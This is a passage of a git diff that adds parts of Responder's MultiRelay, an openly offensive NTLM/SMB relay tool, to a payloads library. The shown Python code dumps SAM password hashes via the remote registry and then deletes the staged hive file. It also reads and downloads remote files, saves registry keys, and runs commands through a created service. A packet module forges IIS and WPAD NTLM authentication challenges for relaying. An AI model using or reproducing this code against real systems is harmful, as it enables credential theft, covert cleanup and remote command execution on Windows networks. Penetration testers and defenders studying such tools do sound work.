+ buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + return data, s, f + + +########################### +#Close a FID +########################### + +def CloseFID(f, data, s): + ##Close FID Request + if data[8:10] == "\x25\x00": + head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = CloseRequest(FID = f) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + return data, s + +########################### +#Open a file for reading +########################### + +def SMBOpenFile(Filename, Share, Host, Access, data, s): + ##Start with a Tree connect on C$ + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBTreeConnectData(Path="\\\\"+Host+"\\"+Share+"$") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + ##OpenAndX. + if data[8:10] == "\x75\x00": + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = OpenAndX(File=Filename, OpenFunc="\x01\x00",DesiredAccess=Access) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + if data[8:10] == "\x2d\x22": + print "[+] Can't open the file, access is denied (write protected file?)." + f = "A" #Don't throw an exception at the calling function because there's not enough value to unpack. + #We'll recover that connection.. + return data, s, f + + if data[8:10] == "\x2d\x00":##Found all good. + f = data[41:43] + return data, s, f + + if data[8:10] == "\x2d\x34":#not found + time.sleep(5)#maybe still processing the cmd. Be patient, then grab it again. + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = OpenAndX(File=Filename, OpenFunc="\x01\x00") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + ##OpenAndX. + if data[8:10] == "\x2d\x34": + print "[+] The command failed or took to long to complete." + return data, s + + ##all good. + if data[8:10] == "\x2d\x00": + f = data[41:43] + return data, s, f + +########################### +#Read then delete it. +########################### + +def SMBOpenPipe(Host, data, s): + ##Start with a Tree connect on C$ + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + return data, s + +########################### +#Read then delete it. +########################### +def GrabAndRead(f, Filename, data, s): + ##ReadRequest. + if data[8:10] == "\x2d\x00": + ##grab the filesize from the OpenAndX response. + filesize = struct.unpack(" 65520. + first = filesize-65520 + if first <= 65520: + count_number = 1 + else: + count_number = int(first/65520)+1 + count = 0 + dataoffset = 0 + bar = 80 + for i in xrange(count_number): + count = count+1 + alreadydone = int(round(80 * count / float(count_number))) + pourcent = round(100.0 * count / float(count_number), 1) + progress = '=' * alreadydone + '-' * (80 - alreadydone) + sys.stdout.write('[%s] %s%s\r' % (progress, pourcent, '%')) + sys.stdout.flush() + dataoffset = dataoffset + 65520 + data, s, out = ReadOutput(struct.pack("60: + minutes = Seconds/60 + print 'Downloaded in: %.3g minutes.'%(minutes) + if Seconds<60: + print 'Downloaded in: %.3g seconds'%(Seconds) + + ##Close Request + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = CloseRequest(FID = f) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + return data, s, Output + +########################### +#Read then delete it. +########################### +def ReadAndDelete(f, Filename, data, s): + ##ReadRequest. + if data[8:10] == "\x2d\x00": + filesize = struct.unpack(" 65520. + first = filesize-65520 + if first <= 65520: + count_number = 1 + else: + count_number = int(first/65520)+1 + count = 0 + dataoffset = 0 + bar = 80 + for i in xrange(count_number): + count = count+1 + alreadydone = int(round(80 * count / float(count_number))) + pourcent = round(100.0 * count / float(count_number), 1) + progress = '=' * alreadydone + '-' * (80 - alreadydone) + sys.stdout.write('[%s] %s%s\r' % (progress, pourcent, '%')) + sys.stdout.flush() + dataoffset = dataoffset + 65520 + data, s, out = ReadOutput(struct.pack("60: + minutes = Seconds/60 + print 'Downloaded in: %.3g minutes.\n'%(minutes) + if Seconds<60: + print 'Downloaded in: %.3g seconds'%(Seconds) + + ##Close Request + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = CloseRequest(FID = f) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + ##DeleteFileRequest. + if data[8:10] == "\x04\x00": + head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00") + t = DeleteFileRequest(File=Filename) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + #print "[+] Deleting file now." + s.send(buffer1) + data = s.recv(2048) + + if data[8:10] == "\x06\x00": + #print "[+] File deleted, making sure it's not there anymore.." + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = OpenAndX(File=Filename, OpenFunc="\x01\x00") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + return data, s, Output + +def GrabKeyValue(s, f, handler, data, keypath): + ## DCE/RPC OpenKey. + if data[8:10] == "\x25\x00": + ContextHandler = handler + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCEWinRegOpenKey(ContextHandle=ContextHandler,Key=keypath) + w.calculate() + x = SMBDCEPacketData(Opnum="\x0f\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC Query Info. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to read the key\n" + return ModifySMBRetCode(data) + ContextHandler = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCEWinRegQueryInfoKey(ContextHandle=ContextHandler) + x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + Value = data[104:120].decode('utf-16le') + + ## DCE/RPC CloseKey. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to close the key\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCEWinRegCloseKey(ContextHandle=ContextHandler) + x = SMBDCEPacketData(Opnum="\x05\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + return Value, data + +def SaveKeyToFile(Filename, Key, handler, f, data, s): + ## DCE/RPC WinReg Create Key. + if data[8:10] == "\x25\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCEWinRegCreateKey(ContextHandle=handler, KeyName = Key) + w.calculate() + x = SMBDCEPacketData(Opnum="\x06\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC WinReg Save Key. + if data[8:10] == "\x25\x00": + ContextHandler = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCEWinRegSaveKey(ContextHandle=ContextHandler, File=Filename) + w.calculate() + x = SMBDCEPacketData(Opnum="\x14\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + return data, s, f + + +def OpenHKLM(data, s, f): + ## DCE/RPC WinReg OpenHKLM. + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCEWinRegOpenHKLMKey() + x = SMBDCEPacketData(Opnum="\x02\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + handler = data[84:104] + return data, s, handler, f + + +def OpenHKCU(data, s, f): + ## DCE/RPC WinReg OpenHKCU. + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCEWinRegOpenHKCUKey() + x = SMBDCEPacketData(Opnum="\x04\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + handler = data[84:104] + return data, s, handler, f + +def ConvertValuesToBootKey(JDSkew1GBGData): + Key = "" + Xored = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7] + for i in range(len(JDSkew1GBGData)): + Key += JDSkew1GBGData[Xored[i]] + print 'BootKey: %s' % Key.encode("hex") + return Key + +##########Dump Hashes############# +def DumpHashes(data, s, Host): + + try: + stopped = False + data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) + + if f == "PipeNotAvailable": + print "The Windows Remote Registry Service is sleeping, waking it up..." + time.sleep(3) + data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) + + if f == "PipeNotAvailable": + print "Retrying..." + time.sleep(5) + data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) + + if f == "ServiceNotFound": + stopped = True + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = StartWinregService(f, Host[0], data, s) + data,s = CloseFID(f, data,s) + #We should be all good here. + data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) + + data,s,handler,f = OpenHKLM(data,s,f) + + ##Error handling. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open Winreg HKLM, is that user a local admin on this host?\n" + return ModifySMBRetCode(data) + ##Grab the keys + if data[8:10] == "\x25\x00": + JD, data = GrabKeyValue(s, f, handler, data, "SYSTEM\\CurrentControlSet\\Control\\Lsa\\JD") + Skew1, data = GrabKeyValue(s, f, handler, data, "SYSTEM\\CurrentControlSet\\Control\\Lsa\\Skew1") + Data, data = GrabKeyValue(s, f, handler, data, "SYSTEM\\CurrentControlSet\\Control\\Lsa\\Data") + GBG, data = GrabKeyValue(s, f, handler, data, "SYSTEM\\CurrentControlSet\\Control\\Lsa\\GBG") + + #Dump bootkey, then finish up. + BootKey = ConvertValuesToBootKey(str(JD+Skew1+GBG+Data).decode("hex")) + RandomFile = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.tmp' + data,s,f = SaveKeyToFile("C:\\Windows\\Temp\\"+RandomFile, "SAM", handler, f, data, s) + data,s = CloseFID(f, data, s) + data,s,f = SMBOpenFile("\\Windows\\Temp\\"+RandomFile, "C", Host[0], RW, data, s) + data,s,Output = ReadAndDelete(f, "\\Windows\\Temp\\"+RandomFile, data, s) + + #If the service was stopped before we came... + if stopped: + data,s = SMBOpenPipe(Host[0], data, s)#Get a new IPC$ TID. + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = StopWinregService(f, Host[0], data, s) + data,s = CloseFID(f, data,s) + data = ModifySMBRetCode(data) + + #After everything has been cleaned up, we write to file and call creddump + WriteOutputToFile(Output, "./Sam-"+Host[0]+".tmp") + try: + Hashes = dump_file_hashes(BootKey, SaveSam_Path+"./Sam-"+Host[0]+".tmp") + WriteOutputToFile(Hashes, "./Hash-Dump-"+Host[0]+".txt") + except: + print "[+] Live dump failed, is python-crypto installed? " + pass + print "[+] The SAM file was saved in: ./relay-dumps/Sam-"+Host[0]+".tmp and the hashes in ./relay-dumps/Hash-Dumped-"+Host[0]+".txt" + return data + + except: + #Don't loose this connection because something went wrong, it's a good one. Hashdump might fail, while command works. + print "[+] Something went wrong, try something else." + return ModifySMBRetCode(data) + +##########Save An HKLM Key And Its Subkeys############# +def SaveAKey(data, s, Host, Key): + + try: + stopped = False + data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) + + if f == "PipeNotAvailable": + print "The Windows Remote Registry Service is sleeping, waking it up..." + time.sleep(3) + data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) + + if f == "PipeNotAvailable": + print "Retrying..." + time.sleep(5) + data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) + + if f == "ServiceNotFound": + stopped = True + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = StartWinregService(f, Host[0], data, s) + data,s = CloseFID(f, data,s) + #We should be all good here. + data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) + + ##Error handling. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open Winreg HKLM, is that user a local admin on this host?\n" + return ModifySMBRetCode(data) + + data,s,handler,f = OpenHKLM(data,s,f) + + data,s,f = SaveKeyToFile("C:\\Windows\\Temp\\"+Key+".tmp", Key, handler, f, data, s) + if data[8:10] != "\x25\x00": + print "[+] Something went wrong, try something else." + return ModifySMBRetCode(data) + data,s = CloseFID(f, data, s) + data,s,f = SMBOpenFile("\\Windows\\Temp\\"+Key+".tmp", "C", Host[0], RW, data, s) + data,s,Output = ReadAndDelete(f, "\\Windows\\Temp\\"+Key+".tmp", data, s) + + #If the service was stopped before we came... + if stopped: + data,s = SMBOpenPipe(Host[0], data, s)#Get a new IPC$ TID. + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = StopWinregService(f, Host[0], data, s) + data,s = CloseFID(f, data,s) + data = ModifySMBRetCode(data) + + #After everything has been cleaned up, we write the output to a file. + WriteOutputToFile(Output, Host[0]+"-"+Key+".tmp") + print "[+] The "+Key+" key and its subkeys were saved in: ./relay-dumps/"+Host[0]+"-"+Key+".tmp" + return data + + except: + #Don't loose this connection because something went wrong, it's a good one. Hashdump might fail, while command works. + print "[+] Something went wrong, try something else." + return ModifySMBRetCode(data) + +##########ReadAFile############# +def ReadFile(data, s, File, Host): + try: + File = File.replace("/","\\") + data,s,f = SMBOpenFile(File, "C", Host[0], READ, data, s) + data,s,Output = GrabAndRead(f, File, data, s) + print Output + return ModifySMBRetCode(data) ##Command was successful, ret true. + + except: + print "[+] Read failed. Remote filename was typed correctly?" + return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. + +def GetAfFile(data, s, File, Host): + try: + File = File.replace("/","\\") + data,s,f = SMBOpenFile(File, "C", Host[0], READ, data, s) + data,s,Output = GrabAndRead(f, File, data, s) + WriteOutputToFile(Output, Host[0]+"-"+File) + print "[+] Done." + return ModifySMBRetCode(data) ##Command was successful, ret true. + + except: + print "[+] Get file failed. Remote filename was typed correctly?" + return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. + +##########Psexec############# +def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host): + + try: + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateService(Command, f, Host[0], data, s) + data,s = CloseFID(f, data,s) + data,s,f = SMBOpenFile("\\Windows\\Temp\\Results.txt", "C", Host[0], RW, data, s) + data,s,Output = ReadAndDelete(f, "\\Windows\\Temp\\Results.txt", data, s) + print Output + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) + return data + + except: + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print "[+] Something went wrong, try something else." + return ModifySMBRetCode(data) + + diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/RelayMultiPackets.py b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/RelayMultiPackets.py new file mode 100644 index 0000000..cedcaaf --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/RelayMultiPackets.py @@ -0,0 +1,990 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +import os +from odict import OrderedDict +import datetime +from base64 import b64decode, b64encode + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + + +##################HTTP Proxy Relay########################## +def HTTPCurrentDate(): + Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') + return Date + +#407 section. +class WPAD_Auth_407_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), + ("Connection", "Proxy-Connection: close\r\n"), + ("Cache-Control", "Cache-Control: no-cache\r\n"), + ("Pragma", "Pragma: no-cache\r\n"), + ("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + +class WPAD_NTLM_Challenge_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWWAuth", "Proxy-Authenticate: NTLM "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) + +#401 section: +class IIS_Auth_401_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + +class IIS_Auth_Granted(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload", "\n\n\n\nLoading\n\n\n"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class IIS_NTLM_Challenge_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWWAuth", "WWW-Authenticate: NTLM "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) + +class IIS_Basic_401_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"), + ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"), + ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + +##################WEBDAV Relay Packet######################### +class WEBDAV_Options_Answer(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"), + ("Connection", "Connection: Keep-Alive\r\n"), + ("Content-Type", "Content-Type: text/html\r\n"), + ("CRLF", "\r\n"), + ]) + +##################SMB Relay Packet############################ +def midcalc(data): #Set MID SMB Header field. + return data[34:36] + +def uidcalc(data): #Set UID SMB Header field. + return data[32:34] + +def pidcalc(data): #Set PID SMB Header field. + pack=data[30:32] + return pack + +def tidcalc(data): #Set TID SMB Header field. + pack=data[28:30] + return pack + +#Response packet. +class SMBRelayNegoAns(Packet): + fields = OrderedDict([ + ("Wordcount", "\x11"), + ("Dialect", ""), + ("Securitymode", "\x03"), + ("MaxMpx", "\x32\x00"), + ("MaxVc", "\x01\x00"), + ("MaxBuffSize", "\x04\x41\x00\x00"), + ("MaxRawBuff", "\x00\x00\x01\x00"), + ("SessionKey", "\x00\x00\x00\x00"), + ("Capabilities", "\xfd\xf3\x01\x80"), + ("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"), + ("SrvTimeZone", "\xf0\x00"), + ("KeyLen", "\x00"), + ("Bcc", "\x10\x00"), + ("Guid", os.urandom(16)), + ]) + +##Response packet. +class SMBRelayNTLMAnswer(Packet): + fields = OrderedDict([ + ("Wordcount", "\x04"), + ("AndXCommand", "\xff"), + ("Reserved", "\x00"), + ("Andxoffset", "\x5f\x01"), + ("Action", "\x00\x00"), + ("SecBlobLen", "\xea\x00"), + ("Bcc", "\x34\x01"), + ###NTLMPACKET + ("Data", ""), + ###NTLMPACKET + + ]) + + +#Request packet (no calc): +class SMBSessionSetupAndxRequest(Packet): + fields = OrderedDict([ + ("Wordcount", "\x0c"), + ("AndXCommand", "\xff"), + ("Reserved","\x00" ), + ("AndXOffset", "\xec\x00"), + ("MaxBuff","\xff\xff"), + ("MaxMPX", "\x32\x00"), + ("VCNumber","\x00\x00"), + ("SessionKey", "\x00\x00\x00\x00"), + ###NTLMPACKET + ("Data", ""), + ###NTLMPACKET + ]) + +class SMBSessEmpty(Packet): + fields = OrderedDict([ + ("Empty", "\x00\x00\x00"), + ]) +##################SMB Request Packet########################## +class SMBHeader(Packet): + fields = OrderedDict([ + ("proto", "\xff\x53\x4d\x42"), + ("cmd", "\x72"), + ("errorcode", "\x00\x00\x00\x00" ), + ("flag1", "\x08"), + ("flag2", "\x01\xc8"), + ("pidhigh", "\x00\x00"), + ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("Reserved", "\x00\x00"), + ("tid", "\x00\x00"), + ("pid", "\x3c\x1b"), + ("uid", "\x00\x00"), + ("mid", "\x00\x00"), + ]) + +class SMBNegoCairo(Packet): + fields = OrderedDict([ + ("Wordcount", "\x00"), + ("Bcc", "\x62\x00"), + ("Data", "") + ]) + + def calculate(self): + self.fields["Bcc"] = struct.pack(" 255: + self.fields["ApplicationHeaderTagLenOfLen"] = "\x82" + self.fields["ApplicationHeaderLen"] = struct.pack(">H", len(SecurityBlobLen)-0) + else: + self.fields["ApplicationHeaderTagLenOfLen"] = "\x81" + self.fields["ApplicationHeaderLen"] = struct.pack(">B", len(SecurityBlobLen)-3) + + if len(NTLMData)-8 > 255: + self.fields["AsnSecMechLenOfLen"] = "\x82" + self.fields["AsnSecMechLen"] = struct.pack(">H", len(SecurityBlobLen)-4) + else: + self.fields["AsnSecMechLenOfLen"] = "\x81" + self.fields["AsnSecMechLen"] = struct.pack(">B", len(SecurityBlobLen)-6) + + if len(NTLMData)-12 > 255: + self.fields["ChoosedTagLenOfLen"] = "\x82" + self.fields["ChoosedTagLen"] = struct.pack(">H", len(SecurityBlobLen)-8) + else: + self.fields["ChoosedTagLenOfLen"] = "\x81" + self.fields["ChoosedTagLen"] = struct.pack(">B", len(SecurityBlobLen)-9) + + if len(NTLMData)-16 > 255: + self.fields["ChoosedTag1StrLenOfLen"] = "\x82" + self.fields["ChoosedTag1StrLen"] = struct.pack(">H", len(SecurityBlobLen)-12) + else: + self.fields["ChoosedTag1StrLenOfLen"] = "\x81" + self.fields["ChoosedTag1StrLen"] = struct.pack(">B", len(SecurityBlobLen)-12) + + CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"]) + + SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"]) + + ## Packet len + self.fields["andxoffset"] = struct.pack(""+WinTmpPath+"&exit'" + + BinDataLen = str(self.fields["BinCMD"]) + + ## Calculate first + 